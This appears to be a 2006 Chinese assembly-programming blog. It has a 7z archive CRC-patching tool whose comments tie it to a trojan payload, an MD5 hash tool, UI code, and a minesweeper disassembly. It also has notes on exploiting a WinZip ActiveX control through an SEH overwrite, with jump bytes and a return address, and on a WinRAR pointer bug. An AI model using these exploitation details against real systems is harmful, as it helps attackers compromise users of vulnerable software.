;***********************************************************************************************

.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc

include \masm32\include\user32.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WndProc   proto :DWORD, :DWORD, :DWORD, :DWORD
init_crc32table proto
arraycrc32  proto

.const
IDC_BUTTON_OPEN  equ 3000
IDC_EDIT_INPUT  equ 3001

.data
szDlgName  db "7zCRC32_dialog", 0
szTitle   db "7zCRC32", 0
szTemplate  db "字符串 ""%s"" 的 CRC32 值是:%X", 0
crc32tbl     dd 256 dup(0) ;CRC-32 table
szBuffer2  db 'C:\b.rar',0
pochand         dd  0
readsize        dd  0
crc1size        dd  0

.data?
szText   db 300 dup(?)
szBuffer  db 32768 dup(?)

.code
main:
 invoke GetModuleHandle, NULL
 invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
 invoke ExitProcess, eax

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

 .if uMsg == WM_CLOSE
  invoke EndDialog, hWnd, 0
  
 .elseif uMsg == WM_COMMAND
  mov eax,wParam
  mov edx,eax
  shr edx,16
  movzx eax, ax
  .if edx == BN_CLICKED
   .IF eax == IDCANCEL
    invoke EndDialog, hWnd, NULL
   .ELSEIF eax == IDC_BUTTON_OPEN || eax == IDOK  
    ;******************************************
    ;关键代码开始:(当当当当……)
    ;******************************************
    ;得到文件路径
    ;invoke GetDlgItemText, hWnd, IDC_EDIT_INPUT, addr szBuffer2, 255
;---打开文件读内容到szBuffer
                invoke CreateFileA,offset szBuffer2,GENERIC_READ,FILE_SHARE_READ,\
               NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL              
          mov pochand,eax 
          invoke GetFileSize,eax,NULL
          sub    eax,32d
          mov    crc1size,eax
          ;invoke SetFilePointer,pochand,12d,NULL,FILE_BEGIN ;木马开始
          ;invoke  _lread,pochand,offset szBuffer,20d
          invoke SetFilePointer,pochand,32d,NULL,FILE_BEGIN ;木马开始
          invoke  _lread,pochand,offset szBuffer,crc1size        
          invoke CloseHandle,pochand
         
                        
comment %
看到了吧这个是7Z文件的头部有两个地方有CRC32效验.
第一个地方:整个文件的偏移12d开始,长度20d
第二个地方:整个文件的偏移32d开始,长度是NextHeaderSize
SignatureHeader
~~~~~~~~~~~~~~~
  BYTE kSignature[6] = {'7', 'z', 0xBC, 0xAF, 0x27, 0x1C};

  ArchiveVersion
  {
    BYTE Major;   // now = 0
    BYTE Minor;   // now = 2
  };

  UINT32 StartHeaderCRC;

  StartHeader
  {
    REAL_UINT64 NextHeaderOffset
    REAL_UINT64 NextHeaderSize
    UINT32 NextHeaderCRC
  }
  %
;---

    ;初始化crc32table:
    invoke init_crc32table

    ;下面赋值给寄存器ebx,以便进行crc32转换:
    ;EBX是待转换的字符串的首地址:
    lea ebx, szBuffer
    mov ecx,crc1size  ;20d ;长度!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!重要

    ;进行crc32转换:
    invoke arraycrc32
    mov ecx,offset szBuffer
    mov [ecx],eax

    ;格式化输出:
    ;invoke wsprintf, addr szText, addr szTemplate, addr szBuffer2, eax

    ;好啦,让我们显示结果:
    ;invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
;----------写第二个CRC
                invoke CreateFileA,offset szBuffer2,GENERIC_WRITE,FILE_SHARE_WRITE,\
               NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL              
          mov pochand,eax 
          invoke SetFilePointer,pochand,28d,NULL,FILE_BEGIN ;木马开始
          invoke  _lwrite,pochand,offset szBuffer,4        
          invoke CloseHandle,pochand
;---------    

;下面开始写第一个CRC
                invoke CreateFileA,offset szBuffer2,GENERIC_READ,FILE_SHARE_READ,\
               NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL              
          mov pochand,eax 
          invoke SetFilePointer,pochand,12d,NULL,FILE_BEGIN ;木马开始
          invoke  _lread,pochand,offset szBuffer,20d     
          invoke CloseHandle,pochand
          ;初始化crc32table:
    invoke init_crc32table

    ;下面赋值给寄存器ebx,以便进行crc32转换:
    ;EBX是待转换的字符串的首地址:
    lea ebx, szBuffer
    mov ecx,20d  ;20d ;长度!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!重要

    ;进行crc32转换:
    invoke arraycrc32
    mov ecx,offset szBuffer
    mov [ecx],eax

    ;格式化输出:
    ;invoke wsprintf, addr szText, addr szTemplate, addr szBuffer2, eax

    ;好啦,让我们显示结果:
    ;invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
;----------写第二个CRC
                invoke CreateFileA,offset szBuffer2,GENERIC_WRITE,FILE_SHARE_WRITE,\
               NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL              
          mov pochand,eax 
          invoke SetFilePointer,pochand,8d,NULL,FILE_BEGIN ;木马开始
          invoke  _lwrite,pochand,offset szBuffer,4        
          invoke CloseHandle,pochand
;---------    
    
   .ENDIF
  .endif
 .ELSE
  mov eax,FALSE
  ret
 .ENDIF
 mov eax,TRUE
 ret
WndProc endp

;**********************************************************
;函数功能:生成CRC-32表
;**********************************************************
init_crc32table proc

  ;如果用C语言来表示,应该如下:
        ;
        ; for (i = 0; i < 256; i++)
  ; {
        ;  crc = i;
        ;  for (j = 0; j < 8; j++)
  ;  {
        ;   if (crc & 1)
        ;    crc = (crc >> 1) ^ 0xEDB88320;
        ;   else
        ;    crc >>= 1;
  ;  }
        ;  crc32tbl[i] = crc;
        ; }
        ;
  ;呵呵,让我们把上面的语句改成assembly的:

        mov     ecx, 256        ; repeat for every DWORD in table
        mov     edx, 0EDB88320h
$BigLoop:
        lea     eax, [ecx-1]
        push    ecx
        mov     ecx, 8
$SmallLoop:
        shr     eax, 1
        jnc     @F
        xor     eax, edx
@@:
        dec  ecx
        jne  $SmallLoop
        pop     ecx
        mov     [crc32tbl+ecx*4-4], eax
        dec  ecx
        jne  $BigLoop

        ret
init_crc32table      endp


;**************************************************************
;函数功能:计算CRC-32
;**************************************************************
arraycrc32 proc uses ebx

  ;计算 CRC-32 ,我采用的是把整个字符串当作一个数组,然后把这个数组的首地址赋值给 EBX,
  ;把数组的长度赋值给 ECX,然后循环计算,返回值(计算出来的 CRC-32 值)储存在 EAX 中:
  ;
        ; 参数:
        ;       EBX = address of first byte
  ;  ECX = number of bytes in array
        ; 返回值:
        ;       EAX = CRC-32 of the entire array

        mov     eax, -1 ; 先初始化eax
  or   ecx, ecx
  jz  $Done ;如果表为空,就bye bye
        or      ebx, ebx
        jz      $Done   ; 避免出现空指针
@@:
        mov     dl, [ebx]
       
   ;这里我用查表法来计算 CRC-32 ,因此非常快速:
        ;因为这是assembly代码,所以不需要给这个过程传递参数,只需要把oldcrc赋值给EAX,以及把byte赋值给DL:
  ;
        ; 在C语言中的形式:
        ;
        ;   temp = (oldcrc ^ abyte) & 0x000000FF;
        ;   crc  = (( oldcrc >> 8) & 0x00FFFFFF) ^ crc32tbl[temp];
        ;
        ; 参数:
        ;       EAX = old CRC-32
        ;        DL = a byte
        ; 返回值:
        ;       EAX = new CRC-32
        ;       EDX = ?
              
        xor     dl, al
        movzx   edx, dl
        shr     eax, 8
        xor     eax, [crc32tbl+edx*4]
       
        inc     ebx
  dec  ecx  
  jne  @B

  not  eax

$Done:
        ret
arraycrc32      endp

end main
;*************************** over ***************************************
;by LC && czy

2006年11月23日

发现PDF的洞和RAR的一样随便啥后缀都行,程序只认文件格式,爽呀.

2006年11月17日

网上有些MD5_CTX结构的定义应该是有问题的.

/* Data structure for MD5 (Message-Digest) computation */
typedef struct {
    ULONG i[2]; /* number of _bits_ handled mod 2^64 */
    ULONG buf[4]; /* scratch buffer */
    unsigned char in[64]; /* input buffer */
    unsigned char digest[16]; /* actual digest after MD5Final call */
} MD5_CTX;

有些又是:

typedef struct {
UINT4 state[4];
UINT4 count[2];
unsigned char buffer[64];
} MD5_CTX;

;md5 hash calc
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

WndProc  proto :DWORD, :DWORD, :DWORD, :DWORD


.const
IDI_SM           equ  1   ;图标
IDC_EDIT_TEXT           equ 1001
IDC_EDIT_128            equ 1002
IDC_EDIT_CHG            equ 1003
IDC_BUTTON_OK           equ 1004
IDC_OUTTYPE             equ 1005
IDC_OUTTYPE2            equ 1006

 

RGB MACRO red, green, blue
 xor eax, eax
 mov al, blue    ; blue
 rol eax, 8
 mov al, green   ; green
 rol eax, 8
 mov al, red     ; red
ENDM


MD5_CTX struct
state   dd 2 dup (?)
count   dd 4  dup (?)
digest  dw 16 dup (?)
buffer  dw 64 dup (?)

MD5_CTX ends

.data
szDlgName   db "md5hash_dialog", 0
hInstance   dd ?
advdll              db  "advapi32.dll",0
md5init             db 'MD5Init',0
md5update           db 'MD5Update',0
md5final            db 'MD5Final',0
format              db '%02X',0
format2             db '%02x',0
outtype             dd 1
.data?
string              db 256 dup(?)
contex              MD5_CTX <>
buffer              db 64 dup (?)
tempbuffer          db 64 dup (?)
.code
start:
 invoke GetModuleHandle, NULL
 mov hInstance, eax
 invoke DialogBoxParam, hInstance, offset szDlgName, 0, WndProc, 0
 invoke ExitProcess, eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 local hBrush :dword
 local rect:RECT
 local LogBrush:LOGBRUSH
 
 .if uMsg == WM_CLOSE
  invoke EndDialog, hWnd, 0

 .elseif uMsg == WM_INITDIALOG
  invoke LoadIcon, hInstance, IDI_SM
  invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax
  invoke CheckDlgButton,hWnd,IDC_OUTTYPE,BST_CHECKED ;默认大写方式输出HASH
 .elseif uMsg == WM_CTLCOLORSTATIC
  RGB 180,100,100
  invoke SetBkColor,wParam,eax
  invoke GetStockObject,HOLLOW_BRUSH
  ret
 .elseif uMsg == WM_ERASEBKGND
  mov LogBrush.lbStyle,BS_SOLID
  RGB 180,100,100
  mov LogBrush.lbColor,eax
  invoke CreateBrushIndirect,addr LogBrush
  mov hBrush,eax
  invoke GetClientRect,hWnd,addr rect
  invoke FillRect,wParam,addr rect,hBrush 
  mov eax,TRUE
  ret 
 .elseif uMsg == WM_COMMAND
  mov eax, wParam
  mov edx, eax
  shr edx, 16
  movzx eax, ax
  .if edx == BN_CLICKED ;处理按键消息
   .if eax == IDC_BUTTON_OK ;生成 
    invoke GetDlgItemText, hWnd, IDC_EDIT_TEXT, offset string,255
                invoke LoadLibrary,offset advdll
                mov edi,eax
                invoke GetProcAddress,edi,offset md5init
    mov esi,eax
    push offset contex
    call esi


                invoke GetProcAddress,edi,offset md5update
                mov esi,eax
    
                invoke lstrlen,offset string
                push eax
                push offset string
                push offset contex
                call esi
               
                invoke GetProcAddress,edi,offset md5final
                mov esi,eax               
                push offset contex
                call esi
                mov esi,offset contex
                add esi,88d
                xor ebx,ebx
                .while ebx<16
                xor eax,eax
                movzx ax,byte ptr [esi]
                .if outtype == 1
                invoke wsprintf,offset buffer,offset format,ax ;大写
                .else
                invoke wsprintf,offset buffer,offset format2,ax ;小写
                .endif
               
                invoke lstrcat,offset tempbuffer,offset buffer
                inc esi
                inc ebx
                .endw
               
                invoke SetDlgItemText, hWnd, IDC_EDIT_128, offset tempbuffer
                mov esi,offset tempbuffer
                add esi,8
                mov edi,esi
                add edi,16
                xor eax,eax
                mov [edi],eax
       invoke SetDlgItemText, hWnd, IDC_EDIT_CHG,esi

       invoke RtlZeroMemory,offset tempbuffer,64
            .elseif eax == IDC_OUTTYPE
                mov outtype,1
            .elseif eax == IDC_OUTTYPE2
                mov outtype,0      
   .endif
  .endif ;end of bn_clicked

 .else
  mov eax, FALSE
  ret
 .endif
 mov eax, TRUE
 ret
WndProc endp
 
end start 

主要难度还是处理一些不常用的非客户区消息:)

不过真的要写完美我想应该要判断系统中窗口的风格,我这儿只是经典风格,如果是XP风格就难看咯.

TIP控件:

        invoke CreateWindowEx,NULL,offset ToolTipClass,NULL,WS_POPUP or TTS_NOPREFIX or TTS_ALWAYSTIP\
                or WS_EX_TOOLWINDOW or WS_EX_TOPMOST,CW_USEDEFAULT, CW_USEDEFAULT,CW_USEDEFAULT, CW_USEDEFAULT,\
                            hWnd, NULL, hInstance,NULL
        mov hToolTip,eax
     mov ti.cbSize,sizeof TOOLINFO
  mov ti.uFlags,TTF_IDISHWND
  push hWinMain
  pop ti.hWnd
  push hWinMain
  pop ti.uId
     mov ti.lpszText,LPSTR_TEXTCALLBACK
     invoke SendMessage,hToolTip,TTM_ADDTOOL,0,addr ti
        invoke SendMessage,hToolTip,TTM_ACTIVATE,1,0      
        ;%     
        ;加载最小化到托盘的标题栏图标
  INVOKE ImageList_Create, 16, 14, ILC_COLOR32 , 2, 0
        mov hImageListTitle, eax
       INVOKE LoadBitmap, hInstance, IDB_TITLEBUTTONBMP
        mov hBitmap, eax
       INVOKE ImageList_Add, hImageListTitle, hBitmap, NULL
       INVOKE DeleteObject, hBitmap
       ;托盘右键菜单
  invoke CreatePopupMenu
  mov hTrayMenu,eax
  invoke AppendMenu,hTrayMenu,MF_STRING,IDM_EXITSERVER,offset exitserver
  invoke AppendMenu,hTrayMenu,MF_STRING,IDM_RESTOREWIN,offset restorewin

通知消息部分:

    mov edi,lParam
    assume edi:ptr NMHDR
    .if [edi].code == TTN_GETDISPINFO
            mov eax,[edi].hwndFrom
            .if eax == hToolTip
                mov edi,lParam
       assume edi:ptr TOOLTIPTEXT
       mov eax,offset sztraytip
       mov [edi].lpszText,eax
       mov [edi].uFlags,TTF_IDISHWND
       assume edi:nothing
   .else
       ..........some other code...
   .endif
    .endif

 

WM消息部分:

    .elseif uMsg==WM_SHELLNOTIFY
   .if lParam==WM_RBUTTONUP
    invoke GetCursorPos,addr Pt
    invoke SetForegroundWindow,hWnd
    invoke TrackPopupMenu,hTrayMenu,TPM_RIGHTALIGN,Pt.x,Pt.y,NULL,hWnd,NULL
    invoke PostMessage,hWnd, WM_USER, 0, 0
   .elseif lParam==WM_LBUTTONDOWN
      
    invoke ShowWindow,hWnd,SW_RESTORE
    invoke Shell_NotifyIcon,NIM_DELETE,addr note
    invoke SetForegroundWindow,hWnd
    invoke SendMessage,hWnd,WM_NCPAINT,0,0
   .endif        
    .elseif uMsg==WM_ACTIVATE
        invoke SendMessage,hWnd,WM_NCPAINT,0,0         
    .elseif uMsg==WM_NCPAINT
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        invoke GetWindowDC,hWnd  
        mov esi,eax
        invoke GetWindowRect,hWnd,addr rc
        mov edx,rc.left
        mov edi,rc.right
        sub edi,edx
        sub edi,90;72
        invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
        invoke DrawIconEx,esi,edi,6,eax,16,14,NULL,NULL,DI_IMAGE  ;画小图标
        invoke ReleaseDC,hWnd,esi
    .elseif uMsg==WM_NCLBUTTONDOWN
        invoke GetCursorPos,addr Pt
        invoke GetWindowRect,hWnd,addr rc
        mov edx,rc.left
        mov edi,rc.top
        mov eax,Pt.x
        sub eax,edx
        mov ecx,Pt.y
        sub ecx,edi
        mov esi,rc.right
        sub esi,edx
        sub esi,90;72
        mov edi,esi
        add edi,16
        .if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
        invoke GetWindowDC,hWnd  
        mov edi,eax
        invoke ImageList_GetIcon,hImageListTitle,1,ILD_NORMAL
        invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE  ;画按下图标
        invoke ReleaseDC,hWnd,edi
        mov clickmytitle,1
       
        .else
        mov clickmytitle,0
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        .endif
        invoke SendMessage,hToolTip,TTM_POP,0,0
    .elseif uMsg==WM_NCMOUSEMOVE
        invoke GetCursorPos,addr Pt
        invoke GetWindowRect,hWnd,addr rc
        mov edx,rc.left
        mov edi,rc.top
        mov eax,Pt.x
        sub eax,edx
        mov ecx,Pt.y
        sub ecx,edi
        mov esi,rc.right
        sub esi,edx
        sub esi,90;72
        mov edi,esi
        add edi,16
        .if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
            .if clickmytitle == 1
                invoke GetWindowDC,hWnd  
                mov edi,eax
                invoke ImageList_GetIcon,hImageListTitle,1,ILD_NORMAL
                invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE  ;画小图标
                invoke ReleaseDC,hWnd,edi    
            .endif
;;--------
        push hWnd
        pop msg.hwnd
  mov msg.message,WM_MOUSEMOVE;
  ;mov msg.lParam,MAKELONG(Pt.x, Pt.y);
  ;lea eax,msg.lParam
  ;assume eax:ptr POINT
  ;mov ecx,Pt.x
  ;mov [eax].x,ecx
  ;mov ecx,Pt.y
  ;mov [eax].y,ecx
  ;assume eax:nothing
        invoke SendMessage,hToolTip,TTM_RELAYEVENT,0,addr msg
;;--------           
        .else
        invoke GetWindowDC,hWnd  
        mov edi,eax
        invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
        invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE  ;画小图标
        invoke ReleaseDC,hWnd,edi  
        invoke SendMessage,hToolTip,TTM_POP,0,0    
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ;mov clickmytitle,0
        .endif         
    .elseif uMsg==WM_NCLBUTTONUP
        invoke GetCursorPos,addr Pt
        invoke GetWindowRect,hWnd,addr rc
        mov edx,rc.left
        mov edi,rc.top
        mov eax,Pt.x
        sub eax,edx
        mov ecx,Pt.y
        sub ecx,edi
        mov esi,rc.right
        sub esi,edx
        sub esi,90;72
        mov edi,esi
        add edi,16
        .if eax >= esi && ecx >= 6 && eax <= edi && ecx <= 20
         .if clickmytitle ==1
;;--------
  mov note.cbSize,sizeof NOTIFYICONDATA
  push hWnd
  pop note.hwnd
  mov note.uID,0
  mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
  mov note.uCallbackMessage,WM_SHELLNOTIFY
  invoke LoadIcon,hInstance,IDI_LINKSERVER;IDI_WINLOGO
  mov note.hIcon,eax
  invoke lstrcpy,addr note.szTip,addr AppName
  
  invoke Shell_NotifyIcon,NIM_ADD,addr note
  invoke ShowWindow,hWnd,SW_HIDE
;;--------
            mov clickmytitle,0
         .endif
        .else
        invoke GetWindowDC,hWnd  
        mov edi,eax
        invoke ImageList_GetIcon,hImageListTitle,0,ILD_NORMAL
        invoke DrawIconEx,edi,esi,6,eax,16,14,NULL,NULL,DI_IMAGE  ;画小图标
        invoke ReleaseDC,hWnd,edi       
        mov clickmytitle,0
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        .endif 

随WINZIP10安装的那个WZFILEVIEW.FileViewCtrl.61控件的漏洞其实非常简单

覆盖SEH链中的第二个就可以了.不过实际利用中遇到几个怪问题:

1.一般的EB069090得改成0B,为什么哩,跳转地址后头不知道从哪儿多了四个FF,06+04=0AH的但是哩在网页代码头0A又是回车.所以只有改成0B,要不改成9090EB08:)不过还是搞不懂FF哪儿来的.

2.简中下测试,我发现超长串要经过widechartomulitbyte处理,这样的话eb0b9090和7ffa1571都会被转化.

想了半天想不出不让它转化的办法唉.不过英文2KSP4下测试成功率到还可以.

2006年10月20日

:0100212D 8B0D18510001            mov ecx, dword ptr [01005118]  ;列
:01002133 8BF0                    mov esi, eax
:01002135 A11C510001              mov eax, dword ptr [0100511C]  ;行
:0100213A C1E005                  shl eax, 05  ;乘32(2的5次方)
:0100213D 8A840840530001          mov al, byte ptr [eax+ecx+01005340] ;01005340是静态数据区中记录雷区表的起始地址
;如果AL为8F说明有雷,AL为0F说明没有雷
:01002144 2480                    and al, 80
:01002146 F6D8                    neg al
:01002148 1BC0                    sbb eax, eax
:0100214A 25010000FF              and eax, FF000001
:0100214F 05FFFFFF00              add eax, 00FFFFFF
:01002154 50                      push eax

 ;如果EAX为00ffffff那么画白色说明没雷,EAX为00000000那么画黑色说明有雷
:01002155 57                      push edi
:01002156 57                      push edi
:01002157 56                      push esi

* Reference To: GDI32.SetPixel, Ord:022Fh
                                  |
:01002158 FF1558100001            Call dword ptr [01001058]

2006年9月1日

winrar3.6beta7也有效.

出错的代码为

mov ecx,[edx]

call [ecx+8]

edx是可以控制的.比较典型的指针错误.但引起这个错误还是

因为路径长度判断出错.

比较郁闷的是出错的文件格式为SFX.

2006年8月16日

统计


请不要发表可能给我们带来伤害的政治言论,谢谢配合